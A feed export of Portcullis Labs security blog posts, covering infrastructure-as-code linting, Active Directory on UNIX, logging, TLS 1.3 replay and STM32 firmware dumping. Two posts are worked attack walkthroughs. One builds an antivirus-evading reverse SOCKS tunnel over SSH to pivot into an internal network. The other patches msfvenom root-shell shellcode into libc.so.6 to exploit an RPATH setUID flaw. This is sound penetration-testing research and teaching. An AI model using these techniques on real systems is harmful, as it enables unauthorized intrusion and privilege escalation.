Portcullis Labs https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 Use Infrastructure as Code they said. Easier to audit they said… (part 1) https://labs.portcullis.co.uk/blog/use-infrastructure-as-code-they-said-easier-to-audit-they-said-part-1/ https://labs.portcullis.co.uk/blog/use-infrastructure-as-code-they-said-easier-to-audit-they-said-part-1/#comments Sat, 26 Jan 2019 22:06:06 +0000 https://labs.portcullis.co.uk/?p=6839 Whilst there are some great examples of how to assess infrastructure as code dynamically with things like the Center for Internet Security‘s Docker benchmark and CoreOS‘s Clair, these kinda run a little too late in the pipeline for my liking. If we want to treat infrastructure as code then surely we ought to be performing […]

The post Use Infrastructure as Code they said. Easier to audit they said… (part 1) appeared first on Portcullis Labs.

]]>
Whilst there are some great examples of how to assess infrastructure as code dynamically with things like the Center for Internet Security‘s Docker benchmark and CoreOS‘s Clair, these kinda run a little too late in the pipeline for my liking. If we want to treat infrastructure as code then surely we ought to be performing code reviews and if we’re performing code reviews then perhaps we can perform a subset of these checks automatically pre-commit?

Many of the current generation of infrastructure orchestration tools utilise Domain Specific Languages presented through the medium of YAML, JSON etc which allow the infradev team to specify programmatically, the architecture and nature of the infrastructure they manage. Just how secure are these language and where might we find gaps that an offensive party might seek to exploit? In practice, what I was really thinking was, if I want to review commits (automatically), then what exactly do I want my tools to look for and why? This seems like an obvious question but at that point, I hadn’t seen a huge amount of talk (or more importantly, based on the work I do, evidence) on how others were doing this to review their templates before they’d been built and deployed….

The good news is that somewhere along the way, whilst I was still asking around and before I started to work on this series of posts, I discovered cfn_nag which looked like a great start, albeit only if you’re working on AWS‘s CloudFormation platform. Taking inspiration from this discovery, my next search was for a linting tool for Ansible (my preferred choice for infrastructure orchestration) and this too yielded results, namely ansible-lint. It turns out that there is more going on than I’d originally feared but that if you want to do this kind of thing (and you should), you really want to be looking for linting tools for your preferred templating language. One observation I’ll make however is that many of these linters don’t appear to have a regular stream of updates and that they may only support a limited set of checks.

In the next part of my thought experiment, we’ll take a deeper dive and I’ll start to consider just how effective these linters are, looking at both the theory of static analysis and code review as it applies to secure development more generally and just as importantly, looking at the assurance these tools can give you.

The post Use Infrastructure as Code they said. Easier to audit they said… (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/use-infrastructure-as-code-they-said-easier-to-audit-they-said-part-1/feed/ 0
Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/ https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/#comments Fri, 25 Jan 2019 11:36:11 +0000 https://labs.portcullis.co.uk/?p=6813 In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2). […]

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

]]>
In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2).

I recently spent quite a long time preparing for the CREST Certified Simulated Attack Specialist exam. While I won’t be discussing exam content (which I’m under NDA for), I thought it could be beneficial to write up at least some of the interesting stuff that I prepared prior to sitting the exam.

I spent a lot of time testing my tools and techniques against 5 different Anti-Virus (AV) products. I wanted to be sure that I had enough options available to me during the exam to operate efficiently, even if AV was present.  One scenario that I wanted to be prepared for was:

  • Having a foothold (command execution) on a Windows system in an internal network; but
  • being unable to deploy my normal C2 software (Cobalt Strike / Meterpreter) due to Anti-Virus / Endpoint Protection.

My practice had shown that I was able to deploy my C2 software of choice onto only 4 out 5 test systems. So this seemed like something I needed to prepare for. Just in case.

In parallel with this, I’d found that performance of SOCKS over a reverse HTTPS connection was barely adequate for tunneling an RDP connection. So I was interested in finding a solution that was:

  • Faster
  • Worked through a proxy; and
  • Worked in the presence of my nemesis AV product

My instinct was to try to SSH out of the network and use the SOCKS proxy built into SSH.  There were a few problems with this approach:

  1. I needed an SSH client – which I could solve by using Putty (read on for the reason I didn’t use plink)
  2. I needed to get an SSH connection out of the network – which could probably do via the proxy using HTTP CONNECT in the same way used for legitimate TLS connections
  3. SSH allows SSH clients to send traffic through a SOCKS proxy running on the SSH server. This was the opposite to what I needed. I needed the SSH server (on the “internet”) to be able to access a SOCKS Proxy running on the SSH Client. Which is a Windows box in this scenario. If the compromised host had been a *NIX host, I could potentially have SSH’d to localhost with the -D option to get the SOCKS server running, then made a second connection to the Internet to port-forward access to the SOCKS service
Communication Flow between Devices
image-6814

Communication flow between devices

Solving (3): SOCKS server

To solve (3) I looked for a small command line SOCKS proxy that ran on Windows. I did find some, but they all felt a bit dodgy and some said on their website that they definitely weren’t malware, despite what AV products said. Which is probably true, but it made them a poor option if I wanted to operate in the presence of AV.

Eventually I stumbled on a SOCKS5 implementation written in golang written by Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so this was a good opportunity for me to waste valuable revision time on a side-interest. I’d never even compiled a golan program before. If this wasn’t too hard, it would be a nice cross-platform solution for my needs.

$ mkdir -p ~/go/src
$ cd !$
$ git clone https://github.com/armon/go-socks5
$ mv go-socks5 socks5
$ cd socks5
$ go build

No errors :-)

But no server either. This is just a library! You need to write some code to use it. :-(

Fortunately, the author provides an example that’s easily adapted:

mkdir -p ~/go/src/mysocks5
cd !$
$ cat << EOF > mysocks.go
// Create a SOCKS5 server
package main
import "socks5"

func main() {
  conf := &socks5.Config{}
  server, err := socks5.New(conf)
  if err != nil {
    panic(err)
  }

  // Create SOCKS5 proxy on localhost port 1080
  if err := server.ListenAndServe("tcp", "127.0.0.1:1080"); err != nil {
    panic(err)
  }
}
EOF
go build

Done! I now had a “mysocks5″ executable. And it worked. Repeating similar steps on Windows gave me a working mysocks5.exe. I was starting to like golang at this point.

Solving (1): Putty configuration

After getting almost to the finish line with the following plink command, I couldn’t specify an HTTP proxy from the command line:

plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1

A quick overview of options here:

  • -N: – I don’t need a shell, just an SSH connection for port forwarding
  • -P 443 – Target port 443, not 22 since the proxy is likely to restrict us in this way
  • -i puttykey.priv.ppk – The private key to access my listening SSH server, I needed logon to be non-interactive, obviously
  • -R 2080:127.0.0.1:1080 – Open a listening port (2080) on the SSH server and forward connections to that port to 127.0.0.1:1080 on the SSH client
  • -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a – We don’t want any warnings or questions about unverified host keys
  • tunnnel@192.168.0.1 – Log into 192.168.0.1 as user tunnel

Using the normal putty.exe GUI, I saved a session that specified all of the above detail, plus the required proxy settings (unauthenticated in the case of my lab):

Proxy Settings for SSH Connection in Putty
image-6815

Proxy settings for SSH connection in Putty

I saved a putty session called myproxy, then retried plink:

plink -load myproxy

It crashed. Hence, why I’m not using plink.  Putty works fine, though:

putty -load myproxy

Well, sort of fine. The victim user would have a suspicious-looking putty window pop up alongside the mysocks console window. But this is just a PoC. Let’s ignore these missing optimisations!

How the attack looks from user' class=
image-6816

How the attack looks from user’s perspective

On the server-side, we see a network listener on port 2080.

tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN

I wanted the service bound to 0.0.0.0 for my environment, but consider that anyone with network access could abuse your SOCKS proxy.

This provides a relatively high-performance SOCKS server – much better than those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll periodically over HTTPS, which means that traffic can only be sent when the implant calls home. The above method is more akin to SOCKS-over-reverse-TCP. Data can be sent in either direction immediately without waiting for a check-in. Arguably, the above method will create a more suspicious traffic pattern and some application-layer aware proxies won’t allow it (though tunneling over SSL could help).

Packaging it up

To deliver above attack, we need to package up the software and configuration so it can be run from the command line. We’ll assume that we can upload and unpack zip files for this part (or the post will get too long). I included the following in myproxy.zip:

  • putty.exe
  • mysocks5.exe
  • myproxy.reg – Created by doing “reg export HKCU\Software\SimonTatham myproxy.reg”, then removing unnecessary configuration data in a text editor
  • puttykey.priv.ppk – Created using puttygen, be sure to copy the openssh-format public key into ~tunnel/.ssh/authorized_key on the SSH server too
  • mysocks.bat – See below

To deploy, we need to run mysocks.bat, which does the following:

reg import myproxy.reg
start mysocks5
putty -load myproxy

All finished. We can pivot through our fast SOCKS proxy. For example, to access RDP on the internal network, I’d do something like:

$ cat /etc/proxychains.conf
...
socks5  127.0.0.1 2080
$ proxychains remmina

Where remmina is a pretty awesome RDP client for Linux. You can also use proxifier on Windows if you’d rather use mstsc.exe.

Conclusion

We showed a PoC to get a reverse SOCKS connection out of a network using tools that won’t trigger AV. They don’t require privileges run, so would work against an unprivileged windows user. The connection is faster than if we’d used the SOCKS features of C2 solutions that use polling reverse-HTTPS connections.

Our attack is untidy because the user can see everything that happens! It’s also awkward to set up because of the registry export and required packaging.

Further Reading

  • Chisel is a tool that can create a SOCKS-over-SSH-over-CONNECT-HTTP tunnel in the opposite direction the direction I needed
  • Crowbar is a tool that lets you do port forwarding over HTTP channels (no reliance on the proxy CONNECT method)

The post Reverse port forwarding SOCKS proxy via HTTP proxy (part 1) appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/reverse-port-forwarding-socks-proxy-via-http-proxy-part-1/feed/ 0
An offensive introduction to Active Directory on UNIX https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/ https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/#comments Thu, 06 Dec 2018 09:18:36 +0000 https://labs.portcullis.co.uk/?p=6805 By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests. Background to Active Directory integration […]

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests.

Background to Active Directory integration solutions

Having seen an uptick in unique UNIX infrastructures that are integrated into customers’ existing Active Directory forests, the question becomes, “Does this present any concerns that may not be well understood?” This quickly became “What if an adversary could get into a UNIX box and then breach your domain?”
Within a typical Active Directory integration solution (in this case SSSD), the solution shares a striking similarity to what a user might see on Windows. Notably, you have:

  • DNS – Used for name resolution
  • LDAP – Used for “one-time identification” and assertion of identity
  • Kerberos – Used for ongoing authentication
  • SSSD – Like LSASS
  • PAM – Like msgina.dll or the more modern credential providers

You can see a breakdown of this process here. Unlike Windows, there is no Group Policy for the most part (with some exceptions), so policies for sudo et al. are typically pushed as flat files to hosts.

Our research

Realistically, the threat models associated with each part of the implementation should be quite familiar to anyone securing a heterogeneous Windows network. Having worked with a variety of customers, it becomes apparent that the typical UNIX administrator who does not have a strong background in Windows and Active Directory will be ill-equipped to handle this threat. While we’ve been talking about successful attacks against components such as LSASS and Kerberos for quite some time, Mimikatz dates back to at least April 2014, and dumping hashes has been around even longer. Pwdump, which dumped local Windows hashes, was published by Jeremy Allison in 1997). However, no one has really taken a concerted look at whether these attacks are possible on UNIX infrastructure, nor how a blue team might spot an adversary performing them.

As a result of this research, we were able to develop tactics, tools, and procedures that might further assist an attacker in breaching an enterprise, and we began documenting and developing appropriate strategies to allow blue teams to appropriately detect and respond to such incursions. The Black Hat EU slides can be found here and whilst the tools we developed can be found on our GitHub repo.

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/feed/ 0
Where 2 worlds collide: Bringing Mimikatz et al to UNIX https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/ https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/#comments Thu, 06 Dec 2018 08:04:06 +0000 https://labs.portcullis.co.uk/?p=6806 Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018). Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may […]

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018).

Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may not be as well understood by a typical UNIX admin who does not have a strong background in Windows and AD. Over the last few months we’ve spent some time looking a number of specific Active Directory integration solutions (both open and closed source) for UNIX systems and documenting some of the tools, tactics and procedures that enable attacks on the forest to be staged from UNIX.

This talk describes the technical details regarding our findings. It includes Proof of Concepts (PoC) showing real-world attacks against AD joined UNIX systems. Finally, potential solutions or mitigation controls are discussed that will help to either prevent those attacks or at the very least to detect them when they occur.

Tools referenced in this talk include:

Eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX
724.9 KiB
MD5 hash: cc712c5e46b16fbff22a2566b1248a91
Details

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/feed/ 0
The importance of logs: You won’t see what you don’t log https://labs.portcullis.co.uk/presentations/the-importance-of-logs-you-wont-see-what-you-dont-log/ https://labs.portcullis.co.uk/presentations/the-importance-of-logs-you-wont-see-what-you-dont-log/#comments Wed, 31 Oct 2018 12:36:40 +0000 https://labs.portcullis.co.uk/?p=6793 Presentation on logging and auditing strategies (as given at Secure South West 11). Building on my blog post on Cisco’s security blog entitled The Importance of Logs, I put together a presentation that picks apart some of the practical aspects of building a successful logging capability focusing on the need to document “good” and curate […]

The post The importance of logs: You won’t see what you don’t log appeared first on Portcullis Labs.

]]>
Presentation on logging and auditing strategies (as given at Secure South West 11).

Building on my blog post on Cisco’s security blog entitled The Importance of Logs, I put together a presentation that picks apart some of the practical aspects of building a successful logging capability focusing on the need to document “good” and curate “bad”.

The purpose of this talk is not to help you build a SOC in 30 minutes, rather it looks at how logging can go wrong and how to plan in order to get it right. The talk includes some composite case studies which highlight some of the challenges that we’ve seen over the years (particularly when responding in customer breaches) and makes some suggestions on where interested organisations should focus their efforts next.

SSWTIOLYWSWYDL
SSWTIOLYWSWYDL.pdf
October 31, 2018
463.7 KiB
MD5 hash: 390c1d8b29e74f2c15df434b4d0d9f99
Details

The post The importance of logs: You won’t see what you don’t log appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/the-importance-of-logs-you-wont-see-what-you-dont-log/feed/ 0
SetUID program exploitation: Crafting shared object files without a compiler https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/ https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/#comments Wed, 31 Oct 2018 12:18:59 +0000 https://labs.portcullis.co.uk/?p=6581 In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post […]

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post on setUID exploitation.

A hacker challenge gone wrong

A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:

$ cat arp-ath.c
#include <stdio.h>
int main(void) {
 printf("Hello world\n");
}
$ gcc -Wl,-rpath,. -o arp-ath arp-ath.c
# chmod 4755 arp-ath

The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:

$ ./arp-ath
Hello world
$ ldd arp-ath
 linux-vdso.so.1 => (0x00007fff0a3fd000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)

The vulnerability lies in the fact the program seaches the current directory for its libraries:

$ readelf -a arp-ath | grep -i path
0x000000000000000f (RPATH) Library rpath: [.]

(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:

$ touch libc.so.6
$ ./arp-ath
./arp-ath: error while loading shared libraries: ./libc.so.6: file too short

This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.

The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.

What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.

Problems compiling a replacement libc.so.6 on 64-bit Linux

I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.

Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).

$ cat exploit1.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -o libc.so.6 exploit1.c
$ ldd ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
linux-vdso.so.1 (0x00007ffeea77d000)
libc.so.6 => ./libc.so.6 (0x00007f50430f9000)
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…

$ cat version
GLIBC_2.2.5{};
$ cat exploit2.c
#include <stdlib.h>

void __cxa_finalize (void *d) {
 return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c
$ ./arp-ath
./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

Hmm. More errors.

Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: error: ld returned 1 exit status

If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.

I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…

So just use metasploit, then?

I had a quick go at generating a shared object file with msfvenom:

msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5

This was awfully familiar. I didn’t grapple much more with msfvenom after this.

Patching shellcode into a copy of libc.so.6

I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.

I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):

$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 55 bytes
Final size of hex file: 110 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05

Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ objdump -FD libc.so.6 | grep _main
00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0):
...

Using a hexeditor I pasted in the shellcode.

</span>
<pre>$ hexedit libc.so.6
Use CTRL-G to seek to the offset in the file
image-6582

Use CTRL-G to seek to the offset in the file

(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)

Shellcode pasted over existing code
image-6583

Shellcode pasted over existing code

$ ./arp-ath
# id
uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)

Finally! :-)

And this works on AIX too?

I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.

Conclusion

The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/feed/ 0
Playback: A TLS 1.3 story https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/ https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/#comments Mon, 13 Aug 2018 06:28:32 +0000 https://labs.portcullis.co.uk/?p=6781 Presentation on 0-RTT in TLS 1.3 (as given at DEF CON 26 and Black Hat 2018). TLS 1.3 is the new secure communication protocol that should be already with us. One of its new features is 0-RTT (Zero Round Trip Time Resumption) that could potentially allow replay attacks. This is a known issue acknowledged by […]

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
Presentation on 0-RTT in TLS 1.3 (as given at DEF CON 26 and Black Hat 2018).

TLS 1.3 is the new secure communication protocol that should be already with us. One of its new features is 0-RTT (Zero Round Trip Time Resumption) that could potentially allow replay attacks. This is a known issue acknowledged by the TLS 1.3 specification, as the protocol does not provide replay protections for 0-RTT data, but proposed countermeasures that would need to be implemented on other layers, not at the protocol level. Therefore, the applications deployed with TLS 1.3 support could end up exposed to replay attacks depending on the implementation of those protections.

This talk will describe the technical details regarding the TLS 1.3 0-RTT feature and its associated risks. It will include Proof of Concepts (PoC) showing real-world replay attacks against TLS 1.3 libraries and browsers. Finally, potential solutions or mitigation controls would be discussed that will help to prevent those attacks when deploying software using a library with TLS 1.3 support.

Tools referenced in this talk include:

Us-18-GarciaAlguacil MurilloMoya-Playback A TLS 1.3 Story  V6
2.6 MiB
MD5 hash: c56f49adfbda571c9c32f5860d6f9319
Details

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/playback-a-tls-1-3-story-2/feed/ 0
Playback: A TLS 1.3 story https://labs.portcullis.co.uk/blog/playback-a-tls-1-3-story/ https://labs.portcullis.co.uk/blog/playback-a-tls-1-3-story/#comments Wed, 08 Aug 2018 14:00:00 +0000 https://labs.portcullis.co.uk/?p=6776 Secure communications are one of the most important topics in information security and the Transport Layer Security (TLS) protocol is currently the most used protocol to provide secure communications on Internet. For example, when you are connecting to your online banking application, your favorite instant message application or social networks, all those communications are being […]

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
Secure communications are one of the most important topics in information security and the Transport Layer Security (TLS) protocol is currently the most used protocol to provide secure communications on Internet. For example, when you are connecting to your online banking application, your favorite instant message application or social networks, all those communications are being transmitted using TLS. With TLS the information sent by the browser and the service is secured and encrypted, meaning that the information cannot be modified or tampered with by an attacker. Moreover the communications are verified to ensure that the browser is connected to the right endpoint (e.g. Wikipedia).

TLS was born as a substitute of the ancient Secure Sockets Layer (SSL) protocol, which was showing its age and being susceptible to multiple attacks. The first version of TLS, 1.0, was created in 1999 and it was based on SSLv3. Since then TLS 1.1 (2006) and TLS 1.2 (2008) were created to improve previous versions of the protocol, solving some of the security weaknesses that security researchers discovered in the last two decades.

TLS 1.3 is the new protocol version. It is not officially released yet, but it is in the final stage, just waiting for the final approval. In any case, some important vendors and open source projects are currently supporting it. The TLS 1.3 Working Group released multiple iterations (drafts) that refined and improved the protocol in the last four years. One of the outcomes of that hard work is that TLS 1.3 has been simplified compared to previous versions of the protocol and it is not vulnerable to previous known attacks that were affecting previous versions. For example, in TLS 1.2 the number of ciphers supported was high, maybe there were too many, and the Working Group has decided to limit this new version to support only five ciphers. Another example is that with TLS 1.3, forward secrecy is not optional, so, in the case that an attacker manages to steal the private keys of one server, he will not be able to decrypt previous communications as he would not be able to obtain the session keys used to encrypt previous messages.

TLS 1.3 has also introduced a new feature to improve the performance for new connections. The name of this feature is 0-RTT (Zero Round Trip Time Resumption) and it allows to have a fast session resumption that can push data to the server without needing to wait for a server confirmation. This is possible as 0-RTT reuses cryptographic information obtained in the first connection to the server. The following diagram shows how TLS 1.3 0-RTT resumption works:

0RTT handshake state diagram
image-6777

0RTT handshake state diagram

This is an interesting functionality from the point of view of the performance, but it has some known security implications.

Cisco security consultants Alfonso Garcia Alguacil and Alejo Murillo Moya will deliver a presentation about some of the known security implications of using 0-RTT and will show Proof of Concepts (PoCs) of some attacks in real world environments. The intent is to raise awareness across the security community about that new feature. The presentation is named “Playback: A TLS 1.3 story” and it will be presented at Black Hat USA 18 and DEF CON 26. Attendees will learn about TLS 1.3 0-RTT, see some examples about how an attacker could take advantage of that new feature and finally get an understanding of the security implications of enabling the featu

You can find the slides and tool from this presentation here:

The post Playback: A TLS 1.3 story appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/playback-a-tls-1-3-story/feed/ 0
Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/ https://labs.portcullis.co.uk/blog/grabbing-firmware-from-my-cheap-stm32-based-magstripe-reader-using-st-link-v2/#comments Fri, 20 Jul 2018 08:00:27 +0000 https://labs.portcullis.co.uk/?p=6583 In my previous post, I worked around the fact that the card reader could only read credit cards – when I wanted to read other types of magstripes. I’d thought at the time that it would theoretically be possible to replace the firmware. In this post I don’t get as far as writing new firmware, […]

The post Grabbing firmware from my cheap STM32-based magstripe reader (using ST-Link v2) appeared first on Portcullis Labs.

]]>
In my previous post, I worked around the fact that the card reader could only read credit cards – when I wanted to read other types of magstripes. I’d thought at the time that it would theoretically be possible to replace the firmware. In this post I don’t get as far as writing new firmware, but I to present an easy way to download and upload firmware: The ST-Link v2 USB device (hardware) and associated ST-Link Utility (software).

Inspiration

I’d been watching YouTube videos about microcontrollers, when I stumbled across How to Set up the ST-Link v2 Programmer Tutorial for ARM Microcontrollers. I hadn’t come across this method of programming microcontrollers before. Previously, I’d only programmed my Arduino via UART.

I got straight on eBay and bought a programmer from a local supplier, so it would arrive quickly. The same thing is also available for about £2 from China.

ST-Link v2 on eBay
image-6584

ST-Link v2 on eBay

Pinout

The chip I wanted to program/read was the STM32F102C8 from my cheap magstripe reader:

Chip on card reader
image-6585

Chip on card reader

The datasheet (pdf) showed the pinout information I needed:

Pinout from STM32 datasheet
image-6586

Pinout from STM32 datasheet

The pins I needed to locate were the Serial Wire Debug (SWD) pins. Specifically SWDIO and SWCLK:

Locations of SWDIO/SWCLK pins
image-6587

Locations of SWDIO/SWCLK pins

Marking up the previous diagrams, we have identified the pins we need:

Location of the pins we need
image-6588

Location of the pins we need

Pin locations marked
image-6589

Pin locations marked

In case you’re wondering, if you connect your oscilloscope to the SWDIO and SWCLK pins while the device is powered up, you don’t see any signals. But this doesn’t mean the pins are disabled – as we’ll show below.

Soldering

After successfully soldering some enamelled copper wire to the pins, then almost ripping the pins off accidentally, I used some hot clue as strain relief. The other end of the wire was connected to some 0.1″ headers so I could use dupont cables to connect to the ST-Link.

Connections soldered to pins
image-6590

Connections soldered to pins

I was pretty pleased with my soldering as it was the first time I’d soldered to pins with such fine pitch. I found that by tinning the wire very slightly, then resting the wire on the pin as I gently lowered the soldering iron (no solder on the iron), I was able to avoid spreading solder onto the nearby pins.

Connecting to ST-Link

Using dupont connectors we need to make 3 connections between the ST-Link device and the target board: SWDIO, SWCLK and Ground. The ST-Link clearly labels the various pins:

ST-Link and magstripe reader connected
image-6591

ST-Link and magstripe reader connected

